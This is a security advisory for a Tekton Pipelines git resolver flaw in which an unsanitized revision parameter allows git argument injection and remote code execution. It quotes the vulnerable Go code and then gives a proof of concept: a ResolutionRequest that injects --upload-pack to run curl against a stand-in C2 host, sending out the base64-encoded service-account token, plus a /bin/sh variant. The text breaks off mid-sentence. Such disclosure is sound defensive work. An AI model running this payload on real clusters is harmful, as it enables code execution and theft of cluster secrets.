🛡️ CVE-2026-40938 — tekton-pipelines

Tekton Pipeline: Git Resolver Unsanitized Revision Parameter Enables git Argument Injection Leading to RCE

Summary

The git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.

Details

Root Cause 1 — Unvalidated revision parameter passed to git fetch

pkg/resolution/resolver/git/repository.go:85:

```go

// pkg/resolution/resolver/git/repository.go lines 84-96

// 'revision' is the raw user-supplied string from the ResolutionRequest param.

// It is passed verbatim as a positional argument to git fetch:

func (repo *repository) checkout(ctx context.Context, revision string) error {

_, err := repo.execGit(ctx, "fetch", "origin", revision, "--depth=1")

// When revision == "--upload-pack=/usr/bin/curl", git parses it as the

// --upload-pack flag, not as a refspec — executing the binary locally.

if err != nil {

return fmt.Errorf("fetch: %w", err)

}

_, err = repo.execGit(ctx, "checkout", "FETCH_HEAD")

return err

}

```

execGit invokes exec.CommandContext("git", ...) — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When revision = "--upload-pack=/path/to/binary", git receives this as the flag --upload-pack=/path/to/binary, not as a refspec. PopulateDefaultParams (resolver.go:418–424) applies only a leading-slash strip and a containsDotDot check on the pathInRepo parameter; the revision parameter receives no validation at all.

Root Cause 2 — validateRepoURL explicitly permits local filesystem paths

pkg/resolution/resolver/git/resolver.go:154-158:

```go

// validateRepoURL validates if the given URL is a valid git, http, https URL or

// starting with a / (a local repository).

func validateRepoURL(url string) bool {

pattern := ^(/|[^@]+@[^:]+|(git|https?)://)

re := regexp.MustCompile(pattern)

return re.MatchString(url)

}

```

Any URL beginning with / passes validation and is used directly as the argument to git clone. This means a local filesystem path such as /tmp/some-repo is a valid resolver URL.

Exploit Chain

--upload-pack=<binary> causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (/path), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via exec.Command as a single --upload-pack=<binary> string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., /bin/sh, /usr/bin/curl, /bin/cp).

Attack complexity is High because the exploit requires either:

• A valid git repository at a known, predicable path on the resolver pod (e.g., /tmp/<reponame>-<suffix> from a concurrent resolution), or
• A default-URL configuration pointing at a local path

PoC

```bash

# Step 1: Set up a local git repository to serve as the "origin"

# (in a real attack, the attacker would time this against a concurrent clone

# or use any pre-existing git repo path on the resolver pod)

git init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m "init"

# Step 2: Craft a ResolutionRequest with injected --upload-pack flag

kubectl create -f - <<'EOF'

apiVersion: resolution.tekton.dev/v1beta1

kind: ResolutionRequest

metadata:

name: revision-injection-poc

namespace: default

labels:

resolution.tekton.dev/type: git

spec:

params:

• name: url

value: /tmp/localrepo

• name: revision

value: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)"

• name: pathInRepo

value: README.md

EOF

# The resolver pod executes:

# git -C <tmpdir> fetch origin \

# "--upload-pack=/usr/bin/curl http://c2.attacker.internal/..." \

# --depth=1

#

# For single-argument binaries (/bin/sh, /usr/bin/env, etc.):

# git -C <tmpdir> fetch origin "--upload-pack=/bin/sh" --depth=1

# Executes /bin/sh with the local repository path as argv[1].

# From /bin/sh, the attacker can use a pre-staged script (e.g., written

# via a workspace volume) to achieve arbitrary command execution.

```

Verified: `git fetch origin --upload-pack=/tmp/test-exec.sh --dept